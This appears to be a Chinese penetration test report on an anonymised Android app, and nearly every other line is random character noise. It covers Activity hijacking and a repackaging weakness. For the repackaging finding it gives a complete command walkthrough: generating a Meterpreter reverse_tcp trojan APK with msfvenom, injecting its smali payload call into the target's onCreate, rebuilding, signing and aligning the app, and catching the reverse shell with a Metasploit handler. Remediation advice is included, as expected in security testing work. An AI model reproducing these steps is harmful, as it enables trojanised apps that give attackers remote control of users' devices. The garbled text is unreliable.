1 L4 [- F9 d0 P- g8 U3 C. q
2 q0 t3 e( U' D- H2 I9 q( J* Y8 ?6 I, V8 r
1 |' l, K/ w4 U" D& W/ J H$ M, `- D: Q9 u1 ?9 J
+ z1 L* \# U$ `1 _1 V0 h' ~
8 _8 {3 Q6 m4 d
表1-2 测试结果
4 S, w3 e5 N4 S4 w) {% |" {+ K
8 ~. r& x7 r) m, p
" l% U1 ]( E+ g; j9 |9 E: o( C
, P6 A' |/ u- q7 N/ z: A6 X
* ?" [% R$ g9 b7 R x9 Q, ]8 z/ [2 T" T/ z
* O, t- V7 T6 _; h" h
) b5 [ B* v- e0 l# c! \
f# D; S: d5 K& N' |
( |: D( g' w8 I4 `; E j) [
5 H+ [5 W1 E: b: @% F' m! w' `6 H2 G% R$ ~7 G
2 检测结果 # }& x7 p$ y% a" t& ^: |7 J% _- N
' k4 e8 W; d& x) l p$ `! r
8 I9 X. L' Q* V! }8 z8 v6 Y+ _7 Q
% Z- ?% {1 S. i; Z . O$ h% Z9 k' q$ n; \$ A8 P. `
4 ?+ z1 h6 h7 }( Q
2.1 某某某 # {& o+ m/ z P- r; ~
2 f6 D$ H# o S$ p% l9 W
. ^/ Y! j2 @; f/ G( a' J5 ^5 H0 l, K( c" s) y" G, @2 d
- K3 p) y9 O6 m
" b/ l5 {3 ^( S! w6 m 2.1.1检测目标
. V B0 @7 H3 Y' K* K7 `0 E) L1 H. [" z( N8 W
7 S! }4 s% g, C5 p
1 V/ f: r* | H; [6 s) V$ g2 k \1 `. b- @' u4 n5 y) B
/ {( U7 z H4 n: ]+ c2 Z 目标地址: 某某某某某某APP
: o% v6 p: h( q3 c/ M9 O: I. }
; D0 n; j0 T9 K5 X3 }; x3 b9 q
1 c& l) Z E8 n4 e. w1 ~8 V6 t
3 y X$ H( h: p- T
5 @( Q3 L8 T( v- i$ t. g: i" w 2.1.2检测结果 & R% @" q& W, d2 ^ T9 e
v: I, `& Z( }, s. Q% K
1 h3 g& W3 G! Y# h7 C% F: j3 K: d
$ p0 ]1 R9 H7 [ o 9 n2 i- J3 ]% ]; d
3 m# L$ M4 I. m! _
2.1.2.1
4 B$ F# f7 V. V5 D( l2 b* l' a
& X6 r6 ]2 H% ?( \% W! R
; h. c8 Y* O" v. c$ ]# a% `6 {
j; z( k) s. B5 x ) [' _/ H( l" N4 ~% o
4 Y7 \0 ^0 b7 F% z3 e
漏洞链接地址:某某某某某某APP . W4 ~- `& l5 y {( V; z
9 @& p7 B; u6 L3 |6 z5 M) `4 x
: o! V6 g% ^ }: e6 G9 w/ Y- x' m0 O& D* z- Y' P% G. L2 [
" ~5 c( B0 ^, u0 y6 a: }7 H2 X M
* L( T8 i8 p Y; ?% f! Y4 u5 h 7 E; q- M. W- b( m8 b" d
1 y9 h# `! w4 v" v" z
8 h9 W, p5 a! L& H( w1 ~
, N3 G# [' _) ~: E4 [0 W6 ?
& X, A/ g4 U0 k4 Z6 X3 Z0 b! L
6 u. K1 ^/ R' h 漏洞分析及取证:
* v7 D9 A4 j" m8 [- [& }# h9 `( S- f% M! |: M& s, s, i2 _9 O
! r' b/ m E1 B, X. _
9 _3 l" ~/ a( @
7 C, Q0 k0 M3 j1 _! ^+ r; D/ D! y1 s% \5 Z- i! c9 u3 |
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: 9 g4 W3 F, G. P5 w# D
; d7 t- s. E8 C( `2 Q2 s
7 O6 z* e( I# m; G
" z2 H5 K9 k. L: _9 _- y$ K 3 x2 B+ N4 D& r& D
0 \! M7 A# A( a! {% [
m! Y$ ?& D9 A2 u
T! f" Y6 `- {" N% I0 l' z8 g+ H& |
5 d( |: g9 N5 B4 A! L% T( I! O
* q# D% R1 s% K 8 c5 _* E1 c' r& \. T, M
. K: C7 A/ T. d- P f4 n) G$ E. T
4 {. q) G/ l: A3 a% ^% I/ d* R7 d& ?: s6 ~
5 f, l! h) V; U; k4 Z. }. }
" U6 b# T1 g' h" X2 F6 R9 B; O6 `7 p7 d! @ + e( {0 j0 P1 L$ m, i
- x6 c) W9 K+ z& I
3 p% C7 C |* t4 m6 j4 t
! ^. _1 y& f# [1 d
# M3 Q; i& ^7 c( u, d3 A% N
* _- ` m# D P
6 _1 w7 [- A& w8 P- ~6 F8 x4 W* H, D$ b w& C
+ B1 G5 Q3 j7 V- c ?, y* f9 b) z% a5 c/ V% k% j
A9 C+ E2 }& g/ c% W6 B4 i/ ?1 a5 d6 a& W8 W: R
& a, `4 P/ c" G3 Q' Y1 V5 B
6 y* E% V& P) ]( U( }8 T# C
7 Z( d8 V: Q+ n
j8 q$ O" a- P5 ]
2 t: P% K" x- ^9 J1 w8 o- z @' E9 C
7 N9 x8 Q: l- j+ B5 U9 H2 ~
1 A- a% [: y1 C' |/ U, [2 t
4 W! Z! x4 j( P: V& O8 w8 _$ @" @
漏洞危害:高
$ w& K' ]9 P; l6 P
. ?8 x, v' y- x
" v2 a2 F" t$ F# W. U+ ^2 m8 r2 g5 i7 C# W* f' Z
: e$ U( N8 u: T* }: k$ ~
. Z6 D: C5 A* h& S0 L+ [
& k8 T2 a9 }$ U3 h8 Q" Z, x
' A" }* v2 F. J) M9 f K
/ E; i# Y7 H/ s: L
+ {( N5 d; `% c0 |$ b6 F3 z! D 0 g/ Q' P& W- |! X4 I
9 g5 P* V' j5 s& D
) U9 J0 l& v6 Z' m3 C' F0 d k" z: G, p4 M) Q, s( l
( S- ?6 h0 C" j. {) L' [& K/ W$ s- J: I& O! I" q, C' R3 h
严重程度 3 h( R" W' s' _8 H, T: _3 d; L
- P$ b) P0 C4 m q
2 m/ a, w8 J$ d! L$ U/ o2 Z |
* v8 }* a, [+ `. q0 W' n+ N | 4 j- q3 F6 ~8 X
- Q8 A& \; |; Q5 v
/ E2 c$ o% @+ \# q2 c/ @. @/ o: B. x& C
: W- n: n& V6 r; l# J
. K- j6 p6 }$ B! j& W1 d- R 高 * ]: k0 E3 p1 n& K" {; ]6 T- m
3 M" j7 K9 Y t6 `+ i- Q P
T: j5 A8 P9 K9 X8 _
. P% O& I% M! B+ @/ k( B0 ~
|
5 l. J6 s& I* f* z4 n8 W0 }5 T& U* B. v" @ o/ `6 s* V
7 {* E% \, G) ^' O$ I& l* I- j9 g
2 B, C/ O% H1 _
9 ~2 U: g4 R! @ ■
. k" {) l1 B, P" h5 ^1 I" {5 E- K0 \6 ?5 C, P% X& }
: O6 K+ ~- M6 @+ v6 p$ I
& i4 Q* N" C& _: M2 y; p | + d) | ^$ c; ?2 ^9 `! R# \5 V& r
7 |0 I2 N/ y- A# z/ `+ M7 E
! i% a7 Q+ M; j7 Z5 R% u+ i( p6 ]0 ~# W, \* G: V
2 Z/ U U( i `# L$ y
$ h2 {2 J" c9 [ {+ `2 Y" N 中 , [4 h& \/ h* S# Y) P2 \/ G
6 V l6 I( d; x x* P
2 z6 h" u' @. c4 P
* m% x5 B2 h7 e8 [& g1 o
|
! Z9 h% A" U# y0 C9 h$ Y; h9 o
: h& y* [$ O1 Q5 g1 y & G( E9 n R1 r3 [
2 {9 y) l4 f3 j6 K6 E( H6 A5 T# l
8 t: V) ^2 U8 z0 B" S8 D* G! o5 U% s9 |' h
: M' R* L* P- `1 F2 L5 R5 G
5 O a q. z, M+ ~% ?/ @5 B6 V
, I4 S- _; K. N$ P I1 J5 p+ r$ G B- h7 y7 i
| % E/ }! w. v8 [+ x' J
6 i$ N0 P# `4 v8 l l. t
, m! N7 {0 x- M8 A% O! ~+ _+ O( H
4 `& t: D3 S& P" y, p: r9 }9 _/ V5 _' |, Q+ q" B
低
' P$ Q- J# z5 _' C% M. w! D5 @/ v2 @' t* U# \* o
7 O6 X: J" t/ v( w4 t7 p# G, H1 U& B0 \: ~6 K5 {$ F( M4 L% f3 H
| % x: E+ O- ?1 Q& P9 L, j
- G' O/ Z+ J9 U' L+ X( v
# @1 r9 D% b! Q4 [3 e
8 M6 T0 S/ |3 i0 R$ ~ # n- X, @* D+ o. e+ ^! c* b$ ^
, M1 i: h/ |7 s/ c8 V0 a1 P- l6 D
* y8 z; _5 y8 q5 d/ W: @' S' C
+ |. u3 t+ b% q2 r0 D
7 O# C0 |- v# p& T4 n9 R7 k
2 d0 w) d+ S; `3 W: N | & P: M% h/ Y6 P& L
4 _% n( E1 q; r: x, r0 W: Z( D/ N
5 W+ x1 L. S) F' T& {6 p+ H4 J; q4 Q$ w5 o* {- R% y7 o
/ |% u4 h2 f6 N9 x, M, Q6 C
1 A8 J9 g/ ~$ L& k4 C- _
4 N: d. }7 Q, P: x: A1 n2 y/ _
1 M2 r) M; X5 V' R) ?* G
7 f9 m1 r. ^2 ]. N( r2 j8 b7 O: ~6 U8 [( }3 C
1 `3 \5 p7 `, A' M i3 b0 d
5 Z! Q: E% E) @ D) G
' q' x( r, X# ~0 W/ p* g1 e
+ V9 T+ w/ \1 b* [4 t
8 i$ C' W2 ~$ U O
3 q1 N2 d( a3 g1 l1 X
" K" ]1 A) i" h' E! _5 K% S5 O( A( f" N# X& c- l0 G
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
9 B$ h0 p+ |* U0 }3 ~! S
0 j% C6 }0 Q u5 S2 I% E
" a% j7 ]' Z' ?3 K
$ q* P6 _) J9 o . N" C/ j. [3 S$ r+ v9 f
0 N$ h/ H# y) V5 N$ D
2 Q$ L2 J- d. M, Q* h; V
/ `& a8 V6 q& ?
2 }7 a6 k8 h: B+ a1 I
4 c& E9 L4 P* _( F* Z$ u
1 y9 n9 o; `3 ?9 i5 N" g2 n( E! T/ Z2 V& {/ L& i$ l9 u
0 a- C2 C9 g" J% c* Z5 M6 R9 n" R8 }7 ~6 W
$ d1 ~4 e# g, r! T8 k5 h8 Y+ Q7 R! M# m
+ ~% T0 d2 d. X2 H$ K
[) E! ~7 Z1 Q# K9 r' @& x 2.1.2.2 ' Z' {# z( c+ \: c0 A5 A
& T0 E* q+ p9 s# W/ e
- L- L' X }9 @; a0 X G3 c0 Z Y2 m, Q* |
( q$ ^# `/ e; ^: N; l6 I4 e0 \- a- o* U# M
漏洞链接地址:某某某某某某APP ; f( ]0 g& W) f
( Z& x0 ^* R% u( M: b# b- B
6 B z; S) i* i' y. U# B" ?, g. {8 I$ p- Q
" M% q, w E4 M% \6 {% B4 b
; Z4 C+ b" Z; `) R/ @: d; ]- p( F0 D2 D 漏洞分析及取证:
# p3 u) M8 P) G
1 Y6 f2 w3 i$ s3 V7 A! `+ T
# z8 t6 E7 z0 J# p9 |1 S
0 T3 S8 ]9 e8 ~
' p2 x" a, x; o! L$ r7 M. n. l( U a) I6 Y5 ~. W7 x
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
( I1 F# d5 e4 Z% `1 W2 ? y" h4 K2 k! ~8 n% M
5 w1 C. N, X# z; a9 g0 R% s8 L3 v
0 ~1 Q& s7 o8 q' u
$ P8 U" N7 {6 o5 p: m' e8 S! O6 g. R8 u+ |
用Metasploit 生成木马 apk 6 P# ^, x9 c, i- @, W* d
4 q9 ]: @1 T" _( V7 l+ k
* V( c" ?# F9 @0 l: g' k7 `# s. \
+ ?+ n- `& j$ D* K* a
3 w. E9 c% G6 Y4 ]3 c t0 [% B) O2 X( w& C- m) Z5 i. t4 g+ Z3 g; y; n
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
8 m: B# x/ e% B3 ~& T O- w
. F# z* _2 ?" P1 A: y, U5 N4 N5 |, Y
6 j' D% ]+ ] p8 T" J1 s- l1 g( q
! v2 k. g& g) `2 u. z) K% t
1 y* Q0 U6 u. Z) R3 [! q
5 G; P2 [9 f: y4 K: k6 Y! o, k- q
反编译目标apk和木马apk
6 T( C& V/ k$ k3 D& j/ F" c
$ m9 h* ^0 |. \/ F" p
' e& N" a8 w( L _1 H* f1 I4 n
# @/ D. b3 ^/ [$ h 3 a. g% X! k2 ~* I( w t
4 X; W5 c6 W6 s! Z6 e6 |% t
apktool d target.apk
- T- R& T3 ]: Y% B5 }0 W; y( l0 `5 i5 R7 o
apktool d cockhorse.apk
' r4 p/ [0 A3 c; c2 o
1 I m! b" i G0 J+ h& M2 B% f8 k
; _# U8 `: ~! {( ^' z/ Q
- g0 y3 n# Y! E
# E0 f5 W+ }& t* [9 \* [: h% Z* S9 F' c2 r( s& W2 _
木马 apk 注入目标 apk , z; u' T% E! P& o# D* W
d8 i" g0 X% r6 t; r4 |
7 D0 ]4 | |# K
% C! W: k7 Z# z3 t M
0 H9 i) N) r3 W+ `
" Z o" H+ Y% B: d# U: t: o# g 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
; I# D" y1 r0 `7 l. A
: _8 l+ p9 b) B2 q& I
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
0 I" r% l4 m5 G8 r% y" l
3 e r Z1 G2 `- L
; Z7 f g6 H) f2 f. _
, c( p: m0 c9 q: S
+ y, [+ c" ?) w( h8 c- @# B. C
6 E" g7 Q" M9 y, l8 t& m 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
6 D5 g1 R2 H X, }8 _' V1 D$ X4 ~5 u5 a h5 s7 a
. S* Z3 r/ x7 F; A4 [( b8 ^# O8 v0 T: @/ U! r# T+ U" R1 L' J! s
0 a: X: _: n0 Q3 ]) U0 f0 X& r
# \$ w9 e' u W0 z5 w3 S- ] 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 5 o% }5 k" H. ~' _
' W+ [7 w' ~/ _, H+ w; A
& n1 u3 M5 J- Z( E$ Y. m+ Q) M9 b* D2 k$ `7 y! x) G' v6 H6 k8 a2 T7 W7 X
) }# ?% X4 O. X6 m6 }
2 G% A4 [- n# e$ C8 Z" j( R 回编译生成最终 apk
1 {2 o) O* H! h& [* l# N- J% J. l% e1 ^; n! s9 J6 g ^# P
* F- N' `/ T3 [" D3 H" W8 S, e$ i
r8 \0 E* M$ G
; d, o& k* h; ~# I( `/ Y0 j0 {4 x# Y9 ?4 R2 u# X
重新打包
! {$ k+ I8 ^9 J i+ g, L, j7 d/ T7 E" a1 }8 [. ~0 {, c X
4 {+ z; q" f, r8 I9 J9 x; J7 p' z& K2 J) {% s% x: Y
% R" Z8 @2 w s5 q
* L" o4 n; o1 Z& X% `0 D1 c2 `+ I apktool b -o repackage.apk target_app_floder
" [7 ~) i2 k8 D. F0 W9 A
/ q* E t6 G% s; R# U. K6 I' V
% w) k/ g. d$ D& H" }1 J6 D3 T7 ?: i* ^- Q9 {4 C! H( V
* u1 J: ?4 I- A
5 A% n) B6 D* h, v& x7 k. i2 z! _7 u5 f6 g 创建签名文件,有的话可忽略此步骤
9 a7 Z0 U9 a- P# J( W
% s, F6 `& c1 [4 m
5 f1 f2 d+ _8 V0 @7 D$ W5 G( e4 v3 p/ d& g$ H9 V% q
6 X! x3 G1 d$ ]3 K
! }! g; N; C1 S% D8 @8 r keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
6 H6 a& Z2 O1 T+ @2 H8 `% {! K: d) r; Y. ]* x7 G3 }9 @* X
7 p! n6 _1 i" B$ X! L
( Z4 o. b; @4 H( U
; G! L, M! s. `
$ G7 ]1 Z6 R S7 ? 签名,以下任选其一
U& z: l1 a# N2 f; U% W* L9 k6 k% a6 E6 |! I' c0 a! `" v
& X2 v# @% s" N$ h- v6 ^
: v4 M9 D) h" S5 d
1 ^9 I0 q% r7 X: Q/ k1 M- Z0 g# o3 L, \9 s5 v1 j
jarsigner 方式
2 s& q; F2 C; G& g Y6 A, ]2 d. @( c! B0 [7 B
. b! l8 e4 I! ^
# d2 C- D4 v, M, {
) G2 b- J7 ~' u8 ^% j( h5 v3 }5 ]
% m1 w) \/ _ F jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
, N2 {4 c2 p3 \4 a0 _5 H W& B- ^9 w
0 B" [0 K7 { k& R. B$ J
$ [9 S. `) ~8 H4 D1 l
, C* j3 t8 `6 Z- _4 M- q* B7 O' p! N l" G0 e; k
apksigner 方式
; L( K( l! X) O
' K: Y' V2 U7 Y+ F: g) t
( |$ E& b8 Z0 G: _. ^6 y" p1 @" E% @) W, S" u0 f% J, F
K& h. n# F* }8 ?6 R& q
( y3 F, p; w7 h
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
+ ~! p% v3 c4 l! \, B, a4 U% N2 `3 [9 n7 E, P/ s
4 z- H1 X) ?: K b5 U: y, y: \
/ y4 V- A) I4 }" U , X$ U d7 E3 A* g) ~ w
8 S/ X- E6 F* G6 K; V
如需要禁用 v2签名 添加选项--v2-signing-enabled false
! m( O1 o* w; p5 s$ g$ h& p) ~, u
" C s# i& X% S
9 L3 D* ], I6 N! l" f/ B+ k
% |( R( M9 N8 {( ~, G: z0 D
) L* f* P$ u. D4 X* C6 H9 S
2 X; {) U! N% r( } 验证,以下任选其一 / d5 n6 @; b$ {) X6 d; W
# p( Y4 ^( Q7 S" x2 T2 w3 d" R
" r9 j4 F4 b0 l/ c- p
) k' O( W- X5 ~; b9 w8 F( a 1 L2 Z% {' c- [0 g
0 Y) y. u! l e% m- k1 y% K jarsigner方式
2 G* a2 }& Z, x) Q1 P: [# Y' |6 S5 a8 V5 @* I
% Z; C" j; j' `: }
! u/ }) Y. _) D E
; }6 z+ N, M% C( I- u0 x$ ?7 G8 T& N1 z$ G* _
jarsigner -verify repackaged.apk
' O/ K& t2 J# u/ m% ^6 A( i* g, j3 S( Z7 v
: d8 }6 k3 x" `! ]: F# k* V
r( e( t O2 i
. { o0 k7 d4 t6 E" |- e
" |8 z Z* I1 \$ `3 Q apksigner 方式
9 b7 w& T6 e0 B( Q& ^" A. P: h& S0 E. r# d y3 N6 K% w
8 f% F+ g2 M$ z; f2 } y( g, R, G- Y& V0 m$ q2 o) p
3 i+ ~. y4 ]* f$ u: b/ y6 U
- g9 [: Z, B. W0 Q apksigner verify -v --print-certs repackaged.apk
6 f" u9 B& H7 d. N+ K
# l6 @0 g& x+ n7 ~
, ~ }& L4 d% V) D, j! v% [8 @( g
6 [; k: S0 e1 Q% p; S& P
/ }; S4 v" o+ O1 e5 C; ^/ _3 X% {" d+ Y2 b# Z9 W2 W( J
keytool方式 ( i K& e$ q3 A/ M( \6 ]' P" W6 ?9 M3 P
/ J7 D6 m5 c7 ~5 s' G8 F; P
: j- W8 {& l9 ?4 L5 n7 o
: u! E: J; e5 M1 f5 b7 k
5 j1 [) O: w' R4 f
. R) x# x% \& y7 s, [$ J keytool -printcert -jarfile repackaged.apk + a3 r" ^* V2 v p+ r9 z4 S
5 s$ U+ d& y" u
, Q6 W, i0 `+ S
3 }0 }4 i, z% E, C3 c
$ s1 c; R0 ~- r! O+ x1 |7 ?. ?' c: b) k* ^ N
对齐 8 Z( R+ E8 V2 n Y
" q4 n( ]& a9 i! ~* x9 B6 H$ Y
% C) v" i6 q- _% M+ S; z
; Z N/ k% p0 U' |& D
. v* L, z: O0 D q2 X9 ]# {9 N8 _; z- v8 e7 a% y: d O8 `: H
字节对齐优化
8 v p( c6 O. e7 E" ~) N* [: i) I. q% v/ W" ?9 o
. Y, K0 s1 a8 Q& \1 N' Y
1 ^, m, |1 K9 C6 B
' P$ B. P* A7 R9 x+ o
% `* h5 ~3 B' Y& F" r zipalign -v 4 repackaged.apk final.apk # B2 i+ L& C4 e: x2 O) ~
+ u5 a# [1 `2 E: i8 D9 {9 D
, H- D! R8 a+ A. W. N! w; [* l+ }2 R+ {) K& V
! Q) H1 F) j3 r
3 A `1 J) {, J+ A: v- s" i+ V 检查是否对齐 / s- O, S/ B4 @& D1 z( S1 o- o
. ] v3 G( m. ^7 N3 c
# M& q. C& ^" V0 v0 V3 J5 v, Z5 z- K
6 A& e) l; s0 F1 \% h % ]3 x6 F. m& a% i
0 F. r+ I& f$ f8 Y
zipalign -c -v 4 final.apk ! T9 U M+ Y' D2 M- ?- {
/ z8 M( V6 q% N* U5 d0 O/ e6 l9 s
( I% k5 p/ r3 H1 g; g# h4 ~8 ]
8 g3 p9 g" i4 \# m" w0 `! I0 e
# a/ v% z8 R. X+ Y
8 T0 z% T! ~( {/ S6 | 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 1 h- T3 z, k/ ^$ p+ B R
5 s5 I1 ^4 C3 ` W, L
% ?& o& \/ F+ f b# a3 t
* O- h% Y! t" y" r4 ?$ Y
5 U( r2 P% U1 R+ P+ \ |
, J& y8 E; v# W 启动Metasploit控制台,配置参数等待上线
) T9 h* _# `2 Q/ q) _! \5 c# a/ _
' Y2 c d! u# O5 m
Z: x. _3 F8 J# }: G ' I( k9 Q" I+ ? _! S
* o6 l) h3 v; {( E
在终端依次输入如下命令 , Y" s$ i9 O5 X- K$ i/ o" X
" |$ K5 f7 v: l7 [! c
6 j; ]+ N* m* a( H: A3 J; L
; b1 n# y$ H8 K, x$ B3 l
/ f' s9 K8 n# I% d s+ V
& m3 U) Q+ \: q: ~ msfconsole
4 e! B7 u8 k! B# i9 W5 \$ T# G) E
^" }% }. p' H
/ E1 x* g4 o- M+ O9 C( _
e+ B$ h; K$ T1 T1 r
, c5 G% c% m2 _4 ?0 x' f# K) r) G2 d( Y% w2 Y% m% X$ U8 v
use exploit/multi/handler
1 S& J* O0 z! z: b) F: L& x5 e4 \! h# [# j
9 c' F& D* y; S0 s2 }5 m+ y- [" e$ q2 i7 u7 S
+ @0 W8 K9 j+ e) D( W: v4 P& y7 x+ H! S0 z- X2 L. U! l) m
set PAYLOAD android/meterpreter/reverse_tcp
7 W! v+ M8 r, Y; Z
( r' z4 ^- M5 t! d3 v0 o
* |9 H( U1 a! G' }% {- F" z& b2 J, j4 F P, f3 Z
! N8 W# K( y7 M* j8 c, N
W* O$ K6 O/ I0 Q3 p2 s/ E d9 p# l set LHOST 192.xxx.xx.xx $ L5 Q3 Z ^" f% x3 A
3 S; S$ b6 i. J% l9 S7 J
0 j& A& S7 ]2 D, c7 I9 h* g& {* d3 C! _& I
9 k( N1 D. g4 I* j ~
6 R- j7 J$ \( e( b5 [; W4 M set LPORT 4444 7 Q) p* X& ^6 S' t* N
; x# D q) F- q; S
1 k6 |. w" s6 @( W4 n: F5 Y% L% y% J* k* z8 W
% r7 c$ l, F, s; G! J3 O& x3 S& o# w
6 J& D! ]; }+ x2 D, b exploit
" h5 n2 K5 M3 t6 K P8 r4 ]) r7 |7 s+ H2 _
* Z9 {6 q; w2 i+ D
4 K% `5 C" g. _1 k8 A# }
+ Z2 A! E# a" t8 }6 a) `& d \8 J' \, [! l5 ~
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
3 Q ]) f& Y2 v& T4 |
0 H$ @7 _% c# v
3 x: x9 a: B( {8 T. N* V
6 Y+ M. j# a; p" {
% d- x5 Z1 h3 f# i7 d9 w* r9 y5 h' j6 N' e w( ?) y7 w0 Z
漏洞危害:中
$ E: T- O; J0 _/ E) y9 U7 R
2 a8 k5 v: a% ~, E8 l+ h" Y' {
$ A9 ~7 ]% A3 A* [
K: ~; |0 l1 @! w
& ^7 C, V/ f, n( x* @5 l, G/ h3 W6 H* ~& P6 H ]; E; ~ _9 \
- Q' \; h' E- v
' ], q% @* S, O. B7 E 8 g% E3 I8 f% f6 N8 j: P: U+ O
* c/ I, m" L8 C. S+ s
7 \5 ]5 b+ `. v, @% v- g9 x( z; I1 X4 A! G/ L( p7 @
& ^' L% y- C" l' x; V2 B1 ?
2 x/ s6 f# T. Z+ F; R
- w+ Y' L+ y: ~( k
( ~% |, m& g+ m* {& `
1 _2 G. `4 Q. J8 ~7 @! ^0 I0 }% r
1 w$ U0 z* B: D7 J* o2 ^6 F# d 严重程度
- J5 x( M$ \' h
z6 `2 n4 [" z6 M 5 T" k& A6 P1 H7 n/ E% }' E, Y
% E4 P6 @) f0 _" k4 X* X k | 3 ^) h ]/ ^& M0 ~: q9 \
8 ]4 C$ [4 G2 F& _7 @( \& w8 M
# H1 x, X( H8 C2 X& d8 ~
3 M; I7 A4 h) p" W) B0 p
( A9 }8 Q5 m! J+ k- P3 Z* P: f- Q$ J4 e: T( {6 ?
高 - t" C# j) C0 k1 K; u' U% F7 u
4 p l9 n# D" ^- z2 s
; o5 H4 O% X* H* @
+ f# O& b7 v: `$ r6 T1 }) K' p
|
* y: ?3 _; c* b- |; T$ N/ s3 X% b% q1 y* i% T' T- R) L
3 |5 ?& s1 k5 I/ U
% a% p8 \5 j: m/ t8 i : c4 \3 j/ h5 H: C& ^
- `$ [/ E* F& F) C ■ & z* X/ f6 b4 S+ S0 O e- ^7 x
$ B7 X' Z5 R$ i3 n
$ l8 n9 m# h1 G; h4 ~: M( D7 {- Y3 G: `4 b' x4 m
|
. p( P1 x O) c7 q! k& y9 c$ e; ?7 W8 j& A4 G
3 K4 Q4 A2 O1 D5 l8 a! N/ y3 b* B/ T
' f! Z: Z1 x5 `* x
7 S( ^0 n. C3 ~, ^& V. \) C- e( |8 q& d) d9 Z
中 ! Q2 }& E7 r+ l( _% W" A
% K; C! q* J& S3 l* l& t 4 j6 b: h, }1 v" f9 b- Z0 S- t
+ V o' Z# b* }) L! x _ | 5 n1 ^+ ]3 e) O. J; J' z
, G( B! C' M) s' E: Q: Q: X
8 E6 Y- h& O0 \: `8 s
5 R2 _* R+ K, N' H: b
9 y K- Q; j. r* V3 d0 d) z) ?& O W1 a
( e+ R& O- U$ e4 k( n# K" ~5 G" }. S2 l: G, U1 M6 Q; I
: g" l8 V: C& u. M8 f1 m% E; c/ f/ ~ O( ]5 P
: D- R& s# d J& U: F$ ?/ D" s, a( W2 U
|
9 _" k& S4 q% f* H) q! G: g
O) A4 @7 d% W
/ p( D) Z9 c: } W& b6 C% g) N3 l% A. q; B) z2 `9 F* }0 {, _; ]
+ c* w9 s+ O% ? P( A7 v4 t
2 C4 l# T3 v4 F8 S; N6 Y2 N! I# d 低 8 G( c! K$ [# j- j+ p
' d |, ^+ ]4 S8 `9 z
, i. x; D2 N* I# O! ~" t" o3 g% V" q2 Z3 K$ U1 A9 M7 _/ V/ l$ }
| % Q- q! X. Q" l9 T, [0 r
- z% e9 L. f4 b, k8 M4 E$ {2 v
, a* n4 g0 }- P9 o7 p: a6 c
' {0 F5 i/ C8 C/ j
7 z$ g1 b# e& n( Y" q" V
7 L* z: X' L# _ U3 `. P0 ` ) ]. q, t2 b' _( `5 J- z
- p n& S- ? c ! _0 w6 u/ @3 E7 u& S
2 a! i5 G1 X# {+ w. R4 p
& y, t: s: {* c
" O. m/ V# G/ C/ H |
" S8 b9 O F- J9 F& B* \ c
7 a" i q' F+ B* t/ y, A
4 N/ j: E: D9 f8 B( {0 x e+ E& D f& K! j: D* h+ R
' p: s; {' Z; [( U, x0 n
; O- D$ j- M" s5 K3 ?
) ?. Q' X3 ]( }" [2 K v7 o* r, B" B& {8 ~
8 W6 S+ _" n k3 _
- _! F$ p+ e: k3 {& g
/ T: o) k& ^5 N# u4 ?# Q$ D$ j+ ?7 A$ X$ Z/ L
, @" Z* V' R9 f3 y
4 g* D: X# Y& _2 }
3 z2 |) _& L7 f+ u
0 M7 w, `, Y* x& `7 U2 R
( q* Z$ l3 d) h2 }& ]- I( A
/ ]! o3 T$ J, H+ O" X' K: n# | 修复方法:
. d- I! u, R3 o. b; t) G- B& ~1 r% Q. r& y8 r
7 @9 u( e7 X% J% B3 j% G
, n8 _$ ~3 C, N6 |- ~5 T4 e9 u
7 {/ a# @7 f+ ~1 N' v: F
6 w# _( B; ^. S 1.在 APP 启动时应做签名校验防止二次打包。
& }4 A% ^' f! w6 i+ H3 H1 _7 s
3 T4 e, V4 k0 g3 S- k6 i
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
1 I+ ^- D2 n a: [0 A Q2 Q% _
/ }5 F. I* }2 _. l5 S
+ \* c+ ~3 {: b- r, ]
3 \+ Z9 _+ `& o4 m7 E' ~9 ^) G ( v/ I2 V" _$ f: P% @* a* e
( {- x( d4 f1 t0 i0 ]
9 U5 s! z& m9 `# D1 X
( o% ^* O& ]% Z- S+ i6 t
% H! \% A' j3 E$ N
) h# i8 M8 l0 a G, \0 R" k" y
3 i0 q5 g+ h A* X) A
; j$ L7 u4 k0 U( k# c% n0 l6 g
- C: b( l9 W- m& c7 t% U% W
. u8 h* c( t5 `8 g* Q) e0 g
! x. R, p; s; e+ Z& l* Z
. w0 |( s7 x5 \4 e- R0 c5 d5 i
6 \( }7 S% a% q% c
6 y0 x* G- X+ o: j
; n1 }* l6 M- { Y0 Z) Y; Z7 G3 u# m* h# g5 {